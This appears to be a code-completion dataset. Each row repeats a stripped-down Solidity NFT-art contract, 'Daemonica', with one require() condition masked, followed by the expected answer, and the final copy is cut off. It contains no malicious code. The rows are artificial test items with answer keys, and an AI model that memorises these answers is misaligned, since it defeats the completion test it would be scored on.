// -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,.
// ---~~~-----,,,,,........,---,.
// ,,--------,,,,,,.........
// .,,,,,,,,,,,,......
// ...............
// .........
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./OccultMath.sol";
import "./Helpers.sol";
interface IBase64 is IERC721Enumerable, IERC721Metadata {}
interface IDaemonica {
function getTau(address _hodler) external view returns (string[] memory);
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory);
function isQualified(address _hodler) external view returns (bool);
}
/** @title Daemonica contract
* @author @0xAnimist
* @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded
* onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities."
* The n dimensional relationships that exist within and between each Entity and Xe_ntity can be
* freely interpreted and understood. Use Daemonica however you wish." –artist
*/
contract Daemonica is Ownable, ReentrancyGuard {
uint8 public totalDims = 0;
uint8 public totalAddedDims = 0;
uint8 public maxAddableDims = 128;
mapping (string => address) public dimAdder;
uint8 public totalOwnerAddedDims = 0;
uint8 public maxOwnerAddableDims = 128;
bool public presale = true;
address public artist;
uint256 public artistBalance = 0;
uint256 public ownerBalance = 0;
mapping (string => IBase64) private dims;
mapping (uint8 => string) private symbolStringByIndex;
mapping (string => uint8) private symbolIndexByString;
/** @notice Allows only the artist to broadcast a message
* @param _artist Artists's address
* @param _message Artist's message
*/
event Broadcast(address indexed _artist, string _message);
/** @notice Only the artist can call function
*/
modifier onlyArtist() {
}
/** @notice Only the artist or owner can call function
*/
modifier onlyAdmin() {
}
/** @notice Requires dim with symbol _symbol to be initialized
* @param _symbol Symbol associated with the dim's contract
*/
modifier dimExists(string memory _symbol) {
}
/** @notice Allows only the artist to broadcast a message
* @param _message Artist's message
*/
function artistBroadcast(string memory _message) external onlyArtist {
}
/** @notice Allows the owner to set the presale flag
* @param _value the new value
*/
function setPresale(bool _value) external onlyOwner {
}
/** @notice Returns lists of all dims by symbol and address
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @return string array of each dim symbol
* @return address array of each dim contract address
*/
function getDims() external view returns (string[] memory, address[] memory) {
}
/** @notice Registers a new dim
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @param _address Contract address of dim to register
*/
function registerDim(address _address) internal {
IBase64 dim = IBase64(_address);
//name the new dim symbolically and increment the dims counter
string memory symbol = dim.symbol();
require(!Helpers.compareStrings(dim.symbol(), ""), "requires symbol");
require(<FILL_ME>)
//ensure the new dim is base64 encoded
require(isValidLootverseURI(dim.tokenURI(1)));//test it against the first token
symbolStringByIndex[totalDims] = symbol;
symbolIndexByString[symbol] = totalDims;
totalDims++;
dims[symbol] = dim;
dimAdder[symbol] = _msgSender();
}
/** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims
* @param _address Contract address of dim to register
*/
function adminAddDim(address _address) external onlyAdmin {
}
/** @notice Anyone can add a valid dim for 1 ether
* @param _address Contract address of dim to register
*/
function addDim(address _address) external payable nonReentrant {
}
/** @notice Refunds a dimAdder if owner has to delete the dim the added in case
* of emergency
* @param _symbol Symbol of the dim being removed that needs refunding
*/
function refund(string memory _symbol) internal {
}
/** @notice Allows owner to remove a dim and refund the dimAdder
* @dev Emergency use only
* @param _symbol Symbol of the dim to remove
*/
function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) {
}
/** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol
* @param _str Return value from tokenURI() to test
* @return true or false
*/
function isValidLootverseURI(string memory _str) internal pure returns (bool) {
}
/** @notice Returns true if _hodler holds tokens from any dim in _animolist
* @param _hodler would be _hodler
* @return True or false
*/
function isQualified(address _hodler) external view returns (bool){
}
/** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ).
* @dev Returns any dims in which the _hodler owns at least one token of any tokenId
* @param _hodler entity hodler
* @return A string array of the symbols of one or more tokens from each dim held by the hodler
*/
function getTau(address _hodler) public view returns (string[] memory){
}
/** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins.
* @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity
* @param _tokenId tokenId of the entity being queried
* @param _modulo caps all values at base-_modulo
* @param _tau tau is the dimensions of _tokenId's hodler
*/
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) {
}
/** @notice Allows owner to withdraw available balance
*/
function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner {
}
/** @notice Allows artist to withdraw available balance
*/
function artistWithdrawAvailableBalance() public nonReentrant onlyArtist {
}
/** @notice Daemonica constructor
* @param _artist The Ethereum address of the artist
*/
constructor (address _artist) {
}
}
| !Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[symbol]],symbol),"symbol already registered" | 297,627 | !Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[symbol]],symbol) |
null | // SPDX-License-Identifier: MIT
// https://kanon.art - K21
// https://daemonica.io
//
//
// $@@@@@@@@@@@$$$
// $$@@@@@@$$$$$$$$$$$$$$##
// $$$$$$$$$$$$$$$$$#########***
// $$$$$$$$$$$$$$$#######**!!!!!!
// ##$$$$$$$$$$$$#######****!!!!=========
// ##$$$$$$$$$#$#######*#***!!!=!===;;;;;
// *#################*#***!*!!======;;;:::
// ################********!!!!====;;;:::~~~~~
// **###########******!!!!!!==;;;;::~~~--,,,-~
// ***########*#*******!*!!!!====;;;::::~~-,,......,-
// ******#**********!*!!!!=!===;;::~~~-,........
// ***************!*!!!!====;;:::~~-,,..........
// !************!!!!!!===;;::~~--,............
// !!!*****!!*!!!!!===;;:::~~--,,..........
// =!!!!!!!!!=!==;;;::~~-,,...........
// =!!!!!!!!!====;;;;:::~~--,........
// ==!!!!!!=!==;=;;:::~~--,...:~~--,,,..
// ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,.
// ;=============;;;;;;::::~~~-,,...$$###==;;:~--.
// :;;==========;;;;;;::::~~~--,,....@@$$##*!=;:~-.
// :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~-
// :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~,
// :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~.
// ~:::::::::::::~~~~~---,,,....-:;;=;;;~,
// ~~::::::::~~~~~~~-----,,,......,~~::::~-.
// -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,.
// ---~~~-----,,,,,........,---,.
// ,,--------,,,,,,.........
// .,,,,,,,,,,,,......
// ...............
// .........
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./OccultMath.sol";
import "./Helpers.sol";
interface IBase64 is IERC721Enumerable, IERC721Metadata {}
interface IDaemonica {
function getTau(address _hodler) external view returns (string[] memory);
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory);
function isQualified(address _hodler) external view returns (bool);
}
/** @title Daemonica contract
* @author @0xAnimist
* @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded
* onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities."
* The n dimensional relationships that exist within and between each Entity and Xe_ntity can be
* freely interpreted and understood. Use Daemonica however you wish." –artist
*/
contract Daemonica is Ownable, ReentrancyGuard {
uint8 public totalDims = 0;
uint8 public totalAddedDims = 0;
uint8 public maxAddableDims = 128;
mapping (string => address) public dimAdder;
uint8 public totalOwnerAddedDims = 0;
uint8 public maxOwnerAddableDims = 128;
bool public presale = true;
address public artist;
uint256 public artistBalance = 0;
uint256 public ownerBalance = 0;
mapping (string => IBase64) private dims;
mapping (uint8 => string) private symbolStringByIndex;
mapping (string => uint8) private symbolIndexByString;
/** @notice Allows only the artist to broadcast a message
* @param _artist Artists's address
* @param _message Artist's message
*/
event Broadcast(address indexed _artist, string _message);
/** @notice Only the artist can call function
*/
modifier onlyArtist() {
}
/** @notice Only the artist or owner can call function
*/
modifier onlyAdmin() {
}
/** @notice Requires dim with symbol _symbol to be initialized
* @param _symbol Symbol associated with the dim's contract
*/
modifier dimExists(string memory _symbol) {
}
/** @notice Allows only the artist to broadcast a message
* @param _message Artist's message
*/
function artistBroadcast(string memory _message) external onlyArtist {
}
/** @notice Allows the owner to set the presale flag
* @param _value the new value
*/
function setPresale(bool _value) external onlyOwner {
}
/** @notice Returns lists of all dims by symbol and address
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @return string array of each dim symbol
* @return address array of each dim contract address
*/
function getDims() external view returns (string[] memory, address[] memory) {
}
/** @notice Registers a new dim
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @param _address Contract address of dim to register
*/
function registerDim(address _address) internal {
IBase64 dim = IBase64(_address);
//name the new dim symbolically and increment the dims counter
string memory symbol = dim.symbol();
require(!Helpers.compareStrings(dim.symbol(), ""), "requires symbol");
require(!Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[symbol]],symbol), "symbol already registered");
//ensure the new dim is base64 encoded
require(<FILL_ME>)//test it against the first token
symbolStringByIndex[totalDims] = symbol;
symbolIndexByString[symbol] = totalDims;
totalDims++;
dims[symbol] = dim;
dimAdder[symbol] = _msgSender();
}
/** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims
* @param _address Contract address of dim to register
*/
function adminAddDim(address _address) external onlyAdmin {
}
/** @notice Anyone can add a valid dim for 1 ether
* @param _address Contract address of dim to register
*/
function addDim(address _address) external payable nonReentrant {
}
/** @notice Refunds a dimAdder if owner has to delete the dim the added in case
* of emergency
* @param _symbol Symbol of the dim being removed that needs refunding
*/
function refund(string memory _symbol) internal {
}
/** @notice Allows owner to remove a dim and refund the dimAdder
* @dev Emergency use only
* @param _symbol Symbol of the dim to remove
*/
function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) {
}
/** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol
* @param _str Return value from tokenURI() to test
* @return true or false
*/
function isValidLootverseURI(string memory _str) internal pure returns (bool) {
}
/** @notice Returns true if _hodler holds tokens from any dim in _animolist
* @param _hodler would be _hodler
* @return True or false
*/
function isQualified(address _hodler) external view returns (bool){
}
/** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ).
* @dev Returns any dims in which the _hodler owns at least one token of any tokenId
* @param _hodler entity hodler
* @return A string array of the symbols of one or more tokens from each dim held by the hodler
*/
function getTau(address _hodler) public view returns (string[] memory){
}
/** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins.
* @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity
* @param _tokenId tokenId of the entity being queried
* @param _modulo caps all values at base-_modulo
* @param _tau tau is the dimensions of _tokenId's hodler
*/
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) {
}
/** @notice Allows owner to withdraw available balance
*/
function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner {
}
/** @notice Allows artist to withdraw available balance
*/
function artistWithdrawAvailableBalance() public nonReentrant onlyArtist {
}
/** @notice Daemonica constructor
* @param _artist The Ethereum address of the artist
*/
constructor (address _artist) {
}
}
| isValidLootverseURI(dim.tokenURI(1)) | 297,627 | isValidLootverseURI(dim.tokenURI(1)) |
"owner cannot afford refund" | // SPDX-License-Identifier: MIT
// https://kanon.art - K21
// https://daemonica.io
//
//
// $@@@@@@@@@@@$$$
// $$@@@@@@$$$$$$$$$$$$$$##
// $$$$$$$$$$$$$$$$$#########***
// $$$$$$$$$$$$$$$#######**!!!!!!
// ##$$$$$$$$$$$$#######****!!!!=========
// ##$$$$$$$$$#$#######*#***!!!=!===;;;;;
// *#################*#***!*!!======;;;:::
// ################********!!!!====;;;:::~~~~~
// **###########******!!!!!!==;;;;::~~~--,,,-~
// ***########*#*******!*!!!!====;;;::::~~-,,......,-
// ******#**********!*!!!!=!===;;::~~~-,........
// ***************!*!!!!====;;:::~~-,,..........
// !************!!!!!!===;;::~~--,............
// !!!*****!!*!!!!!===;;:::~~--,,..........
// =!!!!!!!!!=!==;;;::~~-,,...........
// =!!!!!!!!!====;;;;:::~~--,........
// ==!!!!!!=!==;=;;:::~~--,...:~~--,,,..
// ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,.
// ;=============;;;;;;::::~~~-,,...$$###==;;:~--.
// :;;==========;;;;;;::::~~~--,,....@@$$##*!=;:~-.
// :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~-
// :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~,
// :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~.
// ~:::::::::::::~~~~~---,,,....-:;;=;;;~,
// ~~::::::::~~~~~~~-----,,,......,~~::::~-.
// -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,.
// ---~~~-----,,,,,........,---,.
// ,,--------,,,,,,.........
// .,,,,,,,,,,,,......
// ...............
// .........
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./OccultMath.sol";
import "./Helpers.sol";
interface IBase64 is IERC721Enumerable, IERC721Metadata {}
interface IDaemonica {
function getTau(address _hodler) external view returns (string[] memory);
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory);
function isQualified(address _hodler) external view returns (bool);
}
/** @title Daemonica contract
* @author @0xAnimist
* @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded
* onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities."
* The n dimensional relationships that exist within and between each Entity and Xe_ntity can be
* freely interpreted and understood. Use Daemonica however you wish." –artist
*/
contract Daemonica is Ownable, ReentrancyGuard {
uint8 public totalDims = 0;
uint8 public totalAddedDims = 0;
uint8 public maxAddableDims = 128;
mapping (string => address) public dimAdder;
uint8 public totalOwnerAddedDims = 0;
uint8 public maxOwnerAddableDims = 128;
bool public presale = true;
address public artist;
uint256 public artistBalance = 0;
uint256 public ownerBalance = 0;
mapping (string => IBase64) private dims;
mapping (uint8 => string) private symbolStringByIndex;
mapping (string => uint8) private symbolIndexByString;
/** @notice Allows only the artist to broadcast a message
* @param _artist Artists's address
* @param _message Artist's message
*/
event Broadcast(address indexed _artist, string _message);
/** @notice Only the artist can call function
*/
modifier onlyArtist() {
}
/** @notice Only the artist or owner can call function
*/
modifier onlyAdmin() {
}
/** @notice Requires dim with symbol _symbol to be initialized
* @param _symbol Symbol associated with the dim's contract
*/
modifier dimExists(string memory _symbol) {
}
/** @notice Allows only the artist to broadcast a message
* @param _message Artist's message
*/
function artistBroadcast(string memory _message) external onlyArtist {
}
/** @notice Allows the owner to set the presale flag
* @param _value the new value
*/
function setPresale(bool _value) external onlyOwner {
}
/** @notice Returns lists of all dims by symbol and address
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @return string array of each dim symbol
* @return address array of each dim contract address
*/
function getDims() external view returns (string[] memory, address[] memory) {
}
/** @notice Registers a new dim
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @param _address Contract address of dim to register
*/
function registerDim(address _address) internal {
}
/** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims
* @param _address Contract address of dim to register
*/
function adminAddDim(address _address) external onlyAdmin {
}
/** @notice Anyone can add a valid dim for 1 ether
* @param _address Contract address of dim to register
*/
function addDim(address _address) external payable nonReentrant {
}
/** @notice Refunds a dimAdder if owner has to delete the dim the added in case
* of emergency
* @param _symbol Symbol of the dim being removed that needs refunding
*/
function refund(string memory _symbol) internal {
require(<FILL_ME>)
payable(dimAdder[_symbol]).transfer(1 ether);
uint256 half = (1 ether)/2;
if(ownerBalance >= half){
if(artistBalance >= half){
ownerBalance -= half;
artistBalance -= half;
}else{
ownerBalance -= (1 ether) - artistBalance;
artistBalance = 0;
}
}else{
artistBalance -= (1 ether) - ownerBalance;
ownerBalance = 0;
}
}
/** @notice Allows owner to remove a dim and refund the dimAdder
* @dev Emergency use only
* @param _symbol Symbol of the dim to remove
*/
function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) {
}
/** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol
* @param _str Return value from tokenURI() to test
* @return true or false
*/
function isValidLootverseURI(string memory _str) internal pure returns (bool) {
}
/** @notice Returns true if _hodler holds tokens from any dim in _animolist
* @param _hodler would be _hodler
* @return True or false
*/
function isQualified(address _hodler) external view returns (bool){
}
/** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ).
* @dev Returns any dims in which the _hodler owns at least one token of any tokenId
* @param _hodler entity hodler
* @return A string array of the symbols of one or more tokens from each dim held by the hodler
*/
function getTau(address _hodler) public view returns (string[] memory){
}
/** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins.
* @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity
* @param _tokenId tokenId of the entity being queried
* @param _modulo caps all values at base-_modulo
* @param _tau tau is the dimensions of _tokenId's hodler
*/
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) {
}
/** @notice Allows owner to withdraw available balance
*/
function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner {
}
/** @notice Allows artist to withdraw available balance
*/
function artistWithdrawAvailableBalance() public nonReentrant onlyArtist {
}
/** @notice Daemonica constructor
* @param _artist The Ethereum address of the artist
*/
constructor (address _artist) {
}
}
| address(this).balance>=1ether,"owner cannot afford refund" | 297,627 | address(this).balance>=1ether |
'Invalid prefix' | // SPDX-License-Identifier: MIT
// https://kanon.art - K21
// https://daemonica.io
//
//
// $@@@@@@@@@@@$$$
// $$@@@@@@$$$$$$$$$$$$$$##
// $$$$$$$$$$$$$$$$$#########***
// $$$$$$$$$$$$$$$#######**!!!!!!
// ##$$$$$$$$$$$$#######****!!!!=========
// ##$$$$$$$$$#$#######*#***!!!=!===;;;;;
// *#################*#***!*!!======;;;:::
// ################********!!!!====;;;:::~~~~~
// **###########******!!!!!!==;;;;::~~~--,,,-~
// ***########*#*******!*!!!!====;;;::::~~-,,......,-
// ******#**********!*!!!!=!===;;::~~~-,........
// ***************!*!!!!====;;:::~~-,,..........
// !************!!!!!!===;;::~~--,............
// !!!*****!!*!!!!!===;;:::~~--,,..........
// =!!!!!!!!!=!==;;;::~~-,,...........
// =!!!!!!!!!====;;;;:::~~--,........
// ==!!!!!!=!==;=;;:::~~--,...:~~--,,,..
// ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,.
// ;=============;;;;;;::::~~~-,,...$$###==;;:~--.
// :;;==========;;;;;;::::~~~--,,....@@$$##*!=;:~-.
// :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~-
// :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~,
// :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~.
// ~:::::::::::::~~~~~---,,,....-:;;=;;;~,
// ~~::::::::~~~~~~~-----,,,......,~~::::~-.
// -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,.
// ---~~~-----,,,,,........,---,.
// ,,--------,,,,,,.........
// .,,,,,,,,,,,,......
// ...............
// .........
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./OccultMath.sol";
import "./Helpers.sol";
interface IBase64 is IERC721Enumerable, IERC721Metadata {}
interface IDaemonica {
function getTau(address _hodler) external view returns (string[] memory);
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory);
function isQualified(address _hodler) external view returns (bool);
}
/** @title Daemonica contract
* @author @0xAnimist
* @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded
* onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities."
* The n dimensional relationships that exist within and between each Entity and Xe_ntity can be
* freely interpreted and understood. Use Daemonica however you wish." –artist
*/
contract Daemonica is Ownable, ReentrancyGuard {
uint8 public totalDims = 0;
uint8 public totalAddedDims = 0;
uint8 public maxAddableDims = 128;
mapping (string => address) public dimAdder;
uint8 public totalOwnerAddedDims = 0;
uint8 public maxOwnerAddableDims = 128;
bool public presale = true;
address public artist;
uint256 public artistBalance = 0;
uint256 public ownerBalance = 0;
mapping (string => IBase64) private dims;
mapping (uint8 => string) private symbolStringByIndex;
mapping (string => uint8) private symbolIndexByString;
/** @notice Allows only the artist to broadcast a message
* @param _artist Artists's address
* @param _message Artist's message
*/
event Broadcast(address indexed _artist, string _message);
/** @notice Only the artist can call function
*/
modifier onlyArtist() {
}
/** @notice Only the artist or owner can call function
*/
modifier onlyAdmin() {
}
/** @notice Requires dim with symbol _symbol to be initialized
* @param _symbol Symbol associated with the dim's contract
*/
modifier dimExists(string memory _symbol) {
}
/** @notice Allows only the artist to broadcast a message
* @param _message Artist's message
*/
function artistBroadcast(string memory _message) external onlyArtist {
}
/** @notice Allows the owner to set the presale flag
* @param _value the new value
*/
function setPresale(bool _value) external onlyOwner {
}
/** @notice Returns lists of all dims by symbol and address
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @return string array of each dim symbol
* @return address array of each dim contract address
*/
function getDims() external view returns (string[] memory, address[] memory) {
}
/** @notice Registers a new dim
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @param _address Contract address of dim to register
*/
function registerDim(address _address) internal {
}
/** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims
* @param _address Contract address of dim to register
*/
function adminAddDim(address _address) external onlyAdmin {
}
/** @notice Anyone can add a valid dim for 1 ether
* @param _address Contract address of dim to register
*/
function addDim(address _address) external payable nonReentrant {
}
/** @notice Refunds a dimAdder if owner has to delete the dim the added in case
* of emergency
* @param _symbol Symbol of the dim being removed that needs refunding
*/
function refund(string memory _symbol) internal {
}
/** @notice Allows owner to remove a dim and refund the dimAdder
* @dev Emergency use only
* @param _symbol Symbol of the dim to remove
*/
function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) {
}
/** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol
* @param _str Return value from tokenURI() to test
* @return true or false
*/
function isValidLootverseURI(string memory _str) internal pure returns (bool) {
require(<FILL_ME>)
string memory payload = Helpers.substring(_str, 29, 0);
require( OccultMath.isValidBase64String(payload), "non-base64 chars");
return true;
}
/** @notice Returns true if _hodler holds tokens from any dim in _animolist
* @param _hodler would be _hodler
* @return True or false
*/
function isQualified(address _hodler) external view returns (bool){
}
/** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ).
* @dev Returns any dims in which the _hodler owns at least one token of any tokenId
* @param _hodler entity hodler
* @return A string array of the symbols of one or more tokens from each dim held by the hodler
*/
function getTau(address _hodler) public view returns (string[] memory){
}
/** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins.
* @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity
* @param _tokenId tokenId of the entity being queried
* @param _modulo caps all values at base-_modulo
* @param _tau tau is the dimensions of _tokenId's hodler
*/
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) {
}
/** @notice Allows owner to withdraw available balance
*/
function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner {
}
/** @notice Allows artist to withdraw available balance
*/
function artistWithdrawAvailableBalance() public nonReentrant onlyArtist {
}
/** @notice Daemonica constructor
* @param _artist The Ethereum address of the artist
*/
constructor (address _artist) {
}
}
| Helpers.compareStrings("data:application/json;base64,",Helpers.substring(_str,0,29)),'Invalid prefix' | 297,627 | Helpers.compareStrings("data:application/json;base64,",Helpers.substring(_str,0,29)) |
"non-base64 chars" | // SPDX-License-Identifier: MIT
// https://kanon.art - K21
// https://daemonica.io
//
//
// $@@@@@@@@@@@$$$
// $$@@@@@@$$$$$$$$$$$$$$##
// $$$$$$$$$$$$$$$$$#########***
// $$$$$$$$$$$$$$$#######**!!!!!!
// ##$$$$$$$$$$$$#######****!!!!=========
// ##$$$$$$$$$#$#######*#***!!!=!===;;;;;
// *#################*#***!*!!======;;;:::
// ################********!!!!====;;;:::~~~~~
// **###########******!!!!!!==;;;;::~~~--,,,-~
// ***########*#*******!*!!!!====;;;::::~~-,,......,-
// ******#**********!*!!!!=!===;;::~~~-,........
// ***************!*!!!!====;;:::~~-,,..........
// !************!!!!!!===;;::~~--,............
// !!!*****!!*!!!!!===;;:::~~--,,..........
// =!!!!!!!!!=!==;;;::~~-,,...........
// =!!!!!!!!!====;;;;:::~~--,........
// ==!!!!!!=!==;=;;:::~~--,...:~~--,,,..
// ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,.
// ;=============;;;;;;::::~~~-,,...$$###==;;:~--.
// :;;==========;;;;;;::::~~~--,,....@@$$##*!=;:~-.
// :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~-
// :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~,
// :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~.
// ~:::::::::::::~~~~~---,,,....-:;;=;;;~,
// ~~::::::::~~~~~~~-----,,,......,~~::::~-.
// -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,.
// ---~~~-----,,,,,........,---,.
// ,,--------,,,,,,.........
// .,,,,,,,,,,,,......
// ...............
// .........
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./OccultMath.sol";
import "./Helpers.sol";
interface IBase64 is IERC721Enumerable, IERC721Metadata {}
interface IDaemonica {
function getTau(address _hodler) external view returns (string[] memory);
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory);
function isQualified(address _hodler) external view returns (bool);
}
/** @title Daemonica contract
* @author @0xAnimist
* @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded
* onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities."
* The n dimensional relationships that exist within and between each Entity and Xe_ntity can be
* freely interpreted and understood. Use Daemonica however you wish." –artist
*/
contract Daemonica is Ownable, ReentrancyGuard {
uint8 public totalDims = 0;
uint8 public totalAddedDims = 0;
uint8 public maxAddableDims = 128;
mapping (string => address) public dimAdder;
uint8 public totalOwnerAddedDims = 0;
uint8 public maxOwnerAddableDims = 128;
bool public presale = true;
address public artist;
uint256 public artistBalance = 0;
uint256 public ownerBalance = 0;
mapping (string => IBase64) private dims;
mapping (uint8 => string) private symbolStringByIndex;
mapping (string => uint8) private symbolIndexByString;
/** @notice Allows only the artist to broadcast a message
* @param _artist Artists's address
* @param _message Artist's message
*/
event Broadcast(address indexed _artist, string _message);
/** @notice Only the artist can call function
*/
modifier onlyArtist() {
}
/** @notice Only the artist or owner can call function
*/
modifier onlyAdmin() {
}
/** @notice Requires dim with symbol _symbol to be initialized
* @param _symbol Symbol associated with the dim's contract
*/
modifier dimExists(string memory _symbol) {
}
/** @notice Allows only the artist to broadcast a message
* @param _message Artist's message
*/
function artistBroadcast(string memory _message) external onlyArtist {
}
/** @notice Allows the owner to set the presale flag
* @param _value the new value
*/
function setPresale(bool _value) external onlyOwner {
}
/** @notice Returns lists of all dims by symbol and address
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @return string array of each dim symbol
* @return address array of each dim contract address
*/
function getDims() external view returns (string[] memory, address[] memory) {
}
/** @notice Registers a new dim
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @param _address Contract address of dim to register
*/
function registerDim(address _address) internal {
}
/** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims
* @param _address Contract address of dim to register
*/
function adminAddDim(address _address) external onlyAdmin {
}
/** @notice Anyone can add a valid dim for 1 ether
* @param _address Contract address of dim to register
*/
function addDim(address _address) external payable nonReentrant {
}
/** @notice Refunds a dimAdder if owner has to delete the dim the added in case
* of emergency
* @param _symbol Symbol of the dim being removed that needs refunding
*/
function refund(string memory _symbol) internal {
}
